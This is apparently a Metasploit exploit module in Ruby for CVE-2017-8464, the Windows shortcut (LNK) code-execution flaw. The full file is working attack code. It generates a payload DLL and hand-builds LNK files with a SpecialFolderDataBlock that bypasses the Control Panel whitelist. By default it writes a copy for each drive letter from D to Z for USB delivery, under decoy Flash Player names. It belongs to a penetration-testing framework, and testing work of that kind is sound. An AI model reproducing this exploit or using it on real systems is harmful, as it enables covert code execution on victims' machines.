## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::EXE attr_accessor :exploit_dll_name def initialize(info = {}) super( update_info( info, 'Name' => 'LNK Code Execution Vulnerability', 'Description' => %q{ This module exploits a vulnerability in the handling of Windows Shortcut files (.LNK) that contain a dynamic icon, loaded from a malicious DLL. This vulnerability is a variant of MS15-020 (CVE-2015-0096). The created LNK file is similar except an additional SpecialFolderDataBlock is included. The folder ID set in this SpecialFolderDataBlock is set to the Control Panel. This is enough to bypass the CPL whitelist. This bypass can be used to trick Windows into loading an arbitrary DLL file. If no PATH is specified, the module will use drive letters D through Z so the files may be placed in the root path of a drive such as a shared VM folder or USB drive. }, 'Author' => [ 'Uncredited', # vulnerability discovery 'Yorick Koster', # msf module 'Spencer McIntyre' # msf module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2017-8464'], ['URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-8464'], ['URL', 'http://www.vxjump.net/files/vuln_analysis/cve-2017-8464.txt'], # writeup ['URL', 'https://msdn.microsoft.com/en-us/library/dd871305.aspx'], # [MS-SHLLINK]: Shell Link (.LNK) Binary File Format ['URL', 'http://www.geoffchappell.com/notes/security/stuxnet/ctrlfldr.htm'], ['URL', 'https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf'] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'DisablePayloadHandler' => true }, 'Arch' => [ARCH_X86, ARCH_X64], 'Payload' => { 'Space' => 2048 }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', { 'Arch' => ARCH_ANY } ], [ 'Windows x64', { 'Arch' => ARCH_X64 } ], [ 'Windows x86', { 'Arch' => ARCH_X86 } ] ], 'DefaultTarget' => 0, # Default target is Automatic 'DisclosureDate' => '2017-06-13', 'Notes' => { 'Stability' => [ CRASH_SERVICE_RESTARTS, ], }, ) ) register_options( [ OptString.new('FILENAME', [false, 'The LNK file', 'Flash Player.lnk']), OptString.new('DLLNAME', [false, 'The DLL file containing the payload', 'FlashPlayerCPLApp.cpl']), OptString.new('PATH', [false, 'An explicit path to where the files will be hosted']) ] ) register_advanced_options( [ OptString.new('LnkComment', [true, 'The comment to use in the generated LNK file', 'Manage Flash Player Settings']), OptString.new('LnkDisplayName', [true, 'The display name to use in the generated LNK file', 'Flash Player']) ] ) end def exploit path = ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2017-8464') arch = target['Arch'] == ARCH_ANY ? payload.arch.first : target['Arch'] datastore['EXE::Path'] = path datastore['EXE::Template'] = ::File.join(path, "template_#{arch}_windows.dll") dll = generate_payload_dll dll_name = datastore['DLLNAME'] || "#{rand_text_alpha(16)}.dll" dll_path = store_file(dll, dll_name) print_status("#{dll_path} created, copy it to the root folder of the target USB drive") if datastore['PATH'] lnk = generate_link("#{datastore['PATH'].chomp("\\")}\\#{dll_name}") lnk_filename = datastore['FILENAME'] || "#{rand_text_alpha(16)}.lnk" lnk_path = store_file(lnk, lnk_filename) print_status("#{lnk_path} created, copy to the target paths") else # HACK: Create LNK files to different drives instead # Copying all the LNK files will likely trigger this vulnerability ('D'..'Z').each do |i| fname, ext = (datastore['FILENAME'] || "#{rand_text_alpha(16)}.lnk").split('.') ext = 'lnk' if ext.nil? lnk_filename = "#{fname}_#{i}.#{ext}" lnk = generate_link("#{i}:\\#{dll_name}") lnk_path = store_file(lnk, lnk_filename) print_status("#{lnk_path} created, copy to the target USB drive") end end end def generate_link(path) vprint_status("Generating LNK file to load: #{path}") path << "\x00" display_name = datastore['LnkDisplayName'].dup << "\x00" # LNK Display Name comment = datastore['LnkComment'].dup << "\x00" # Control Panel Applet ItemID with our DLL cpl_applet = [ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ].pack('C*') cpl_applet << [path.length].pack('v') cpl_applet << [display_name.length].pack('v') cpl_applet << path.unpack('C*').pack('v*') cpl_applet << display_name.unpack('C*').pack('v*') cpl_applet << comment.unpack('C*').pack('v*') # LinkHeader ret = [ 0x4c, 0x00, 0x00, 0x00, # HeaderSize, must be 0x0000004C 0x01, 0x14, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46, # LinkCLSID, must be 00021401-0000-0000-C000-000000000046 0x81, 0x00, 0x00, 0x00, # LinkFlags (HasLinkTargetIDList | IsUnicode) 0x00, 0x00, 0x00, 0x00, # FileAttributes 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # CreationTime 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # AccessTime 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, # WriteTime 0x00, 0x00, 0x00, 0x00, # FileSize 0x00, 0x00, 0x00, 0x00, # IconIndex 0x00, 0x00, 0x00, 0x00, # ShowCommand 0x00, 0x00, # HotKey 0x00, 0x00, # Reserved1 0x00, 0x00, 0x00, 0x00, # Reserved2 0x00, 0x00, 0x00, 0x00 # Reserved3 ].pack('C*') # IDList idlist_data = '' # ItemID = ItemIDSize (2 bytes) + Data (variable) idlist_data << [0x12 + 2].pack('v') idlist_data << [ # All Control Panel Items 0x1f, 0x80, 0x20, 0x20, 0xec, 0x21, 0xea, 0x3a, 0x69, 0x10, 0xa2, 0xdd, 0x08, 0x00, 0x2b, 0x30, 0x30, 0x9d ].pack('C*') # ItemID = ItemIDSize (2 bytes) + Data (variable) idlist_data << [cpl_applet.length + 2].pack('v') idlist_data << cpl_applet idlist_data << [0x00].pack('v') # TerminalID # LinkTargetIDList ret << [idlist_data.length].pack('v') # IDListSize ret << idlist_data # ExtraData # SpecialFolderDataBlock ret << [ 0x10, 0x00, 0x00, 0x00, # BlockSize 0x05, 0x00, 0x00, 0xA0, # BlockSignature 0xA0000005 0x03, 0x00, 0x00, 0x00, # SpecialFolderID (CSIDL_CONTROLS - My Computer\Control Panel) 0x14, 0x00, 0x00, 0x00 # Offset in LinkTargetIDList ].pack('C*') # TerminalBlock ret << [0x00, 0x00, 0x00, 0x00].pack('V') ret end # Store the file in the MSF local directory (eg, /root/.msf4/local/) def store_file(data, filename) @ltype = "exploit.fileformat.#{@shortname}" if !::File.directory?(Msf::Config.local_directory) FileUtils.mkdir_p(Msf::Config.local_directory) end if filename && !filename.empty? fname, ext = filename.split('.') else fname = "local_#{Time.now.utc.to_i}" end fname = ::File.split(fname).last fname.gsub!(/[^a-z0-9\.\_\-]+/i, '') fname << ".#{ext}" path = File.join("#{Msf::Config.local_directory}/", fname) full_path = ::File.expand_path(path) File.open(full_path, "wb") { |fd| fd.write(data) } full_path.dup end end